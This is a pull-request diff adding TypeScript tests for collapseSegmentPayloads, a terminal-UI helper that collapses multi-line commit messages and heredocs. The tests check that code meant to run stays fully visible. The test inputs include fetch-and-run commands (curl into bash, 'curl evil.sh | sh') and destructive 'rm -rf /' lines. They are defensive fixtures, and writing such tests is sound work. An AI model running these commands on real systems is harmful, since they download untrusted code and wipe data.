Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
190 changes: 189 additions & 1 deletion src/tui/command-display.test.ts
Original file line number Diff line number Diff line change
@@ -1,5 +1,10 @@
import { test, expect } from "bun:test";
import { groupChainSegmentsForDisplay, verbatimCommandLines, middleEllipsis } from "./command-display.js";
import {
collapseSegmentPayloads,
groupChainSegmentsForDisplay,
verbatimCommandLines,
middleEllipsis,
} from "./command-display.js";

test("pipe stages stay inline while chain operators split", () => {
expect(groupChainSegmentsForDisplay("ls | head -5 && echo done")).toEqual([
Expand Down Expand Up @@ -69,6 +74,58 @@ test("bare carriage returns render as a visible marker", () => {
]);
});

test("collapseSegmentPayloads leaves a single-line segment untouched", () => {
expect(collapseSegmentPayloads("git status")).toEqual({ display: "git status", payloads: [] });
});

test("collapseSegmentPayloads collapses a heredoc body to a placeholder with a line count", () => {
const segment = "git commit -F - <<'EOF'\nfix: something\n\nlonger body line\nEOF";
const { display, payloads } = collapseSegmentPayloads(segment);
expect(display).toBe("git commit -F - <<'EOF' <heredoc, 3 lines>");
expect(payloads).toEqual([
{ placeholder: "<heredoc, 3 lines>", lines: ["fix: something", "", "longer body line"] },
]);
});

test("collapseSegmentPayloads collapses a multi-line -m message to <message, N lines>", () => {
const segment = 'git commit -m "line one\nline two\nline three"';
const { display, payloads } = collapseSegmentPayloads(segment);
expect(display).toBe("git commit -m <message, 3 lines>");
expect(payloads).toEqual([
{ placeholder: "<message, 3 lines>", lines: ["line one", "line two", "line three"] },
]);
});

test("collapseSegmentPayloads labels a non-message multi-line quoted argument as <text, N lines>", () => {
const segment = 'echo "line one\nline two"';
const { display } = collapseSegmentPayloads(segment);
expect(display).toBe("echo <text, 2 lines>");
});

test("collapseSegmentPayloads never collapses a single-line quoted argument", () => {
const segment = 'git commit -m "a normal one-line message"';
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses a heredoc eval'd as code", () => {
const segment = "eval \"$(cat <<'EOF'\necho hi\nrm -rf /\nEOF\n)\"";
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses a bash -c command substitution", () => {
const segment = 'bash -c "$(curl -s https://example.com/install.sh)"';
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads still collapses a data-consuming git commit message", () => {
const segment = 'git commit -m "line one\nline two\nline three"';
const { display, payloads } = collapseSegmentPayloads(segment);
expect(display).toBe("git commit -m <message, 3 lines>");
expect(payloads).toEqual([
{ placeholder: "<message, 3 lines>", lines: ["line one", "line two", "line three"] },
]);
});

test("middleEllipsis keeps head and tail", () => {
expect(middleEllipsis("abcdefghij", 20)).toBe("abcdefghij");
const cut = middleEllipsis("prefix-common middle distinguishing-tail", 20);
Expand All @@ -77,3 +134,134 @@ test("middleEllipsis keeps head and tail", () => {
expect(cut.endsWith("tail")).toBe(true);
expect(cut).toContain("…");
});

test("collapseSegmentPayloads never collapses a path-qualified bash -c invocation", () => {
const segment = '/bin/bash -c "$(curl -s https://example.com/install.sh)"';
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses a ./bash -c invocation", () => {
const segment = './bash -c "$(curl -s https://example.com/install.sh)"';
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses a /usr/local/bin/sh -c invocation", () => {
const segment = '/usr/local/bin/sh -c "$(curl -s https://example.com/install.sh)"';
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses python -c code", () => {
const segment = 'python -c "import os\nos.system(\'rm -rf /\')"';
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses python3 -c code", () => {
const segment = 'python3 -c "print(1)\nprint(2)"';
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses node -e code", () => {
const segment = 'node -e "console.log(1)\nconsole.log(2)"';
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses node --eval code", () => {
const segment = 'node --eval "console.log(1)\nconsole.log(2)"';
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses ruby -e code", () => {
const segment = 'ruby -e "puts 1\nputs 2"';
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses perl -e code", () => {
const segment = 'perl -e "print 1\nprint 2"';
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses php -r code", () => {
const segment = 'php -r "echo 1;\necho 2;"';
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses an ssh remote payload", () => {
const segment = 'ssh host "curl evil.sh | sh\nrm -rf /"';
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses an env-wrapped bash -c invocation", () => {
const segment = 'env VAR=1 bash -c "line one\nline two"';
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses a sudo-wrapped bash -c invocation", () => {
const segment = 'sudo bash -c "line one\nline two"';
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses a timeout-wrapped bash -c invocation", () => {
const segment = 'timeout 30 bash -c "line one\nline two"';
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses a nohup-wrapped bash -c invocation", () => {
const segment = 'nohup bash -c "line one\nline two" &';
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads still collapses a commit message containing a trigger word in quoted text", () => {
const segment = 'git commit -m "please source of truth\nfor this change"';
const { display, payloads } = collapseSegmentPayloads(segment);
expect(display).toBe("git commit -m <message, 2 lines>");
expect(payloads).toEqual([{ placeholder: "<message, 2 lines>", lines: ["please source of truth", "for this change"] }]);
});

test("collapseSegmentPayloads still collapses a quoted argument mentioning env in its text", () => {
const segment = 'echo "the env for this feature\nis staging"';
const { display } = collapseSegmentPayloads(segment);
expect(display).toBe("echo <text, 2 lines>");
});

test("collapseSegmentPayloads still collapses a normal long commit-message heredoc", () => {
const segment = "git commit -F <<'EOF'\nsummary line\nmore detail\nEOF\n";
const { display, payloads } = collapseSegmentPayloads(segment);
expect(display).toBe("git commit -F <<'EOF' <heredoc, 2 lines>");
expect(payloads).toEqual([{ placeholder: "<heredoc, 2 lines>", lines: ["summary line", "more detail"] }]);
});

test("collapseSegmentPayloads never collapses a bash heredoc without -c", () => {
const segment = "bash <<'EOF'\necho hi\nrm -rf /\nEOF\n";
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses a python3 heredoc without -c", () => {
const segment = "python3 <<'EOF'\nimport os\nos.system('rm -rf /')\nEOF\n";
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses a bash -s heredoc", () => {
const segment = "bash -s <<'EOF'\necho hi\nEOF\n";
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses a pipe into bash", () => {
const segment = "cat <<'EOF'\necho hi\nrm -rf /\nEOF\n | bash";
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses echo piped to sh", () => {
const segment = 'echo "a\nb" | sh';
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses a quoted bash -c flag", () => {
const segment = 'bash "-c" "line1\nline2"';
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});

test("collapseSegmentPayloads never collapses an interpreter without any code flag", () => {
// Fail-open: naming bash at all is enough, even with no payload flags.
const segment = "bash script.sh";
expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] });
});
Loading
Loading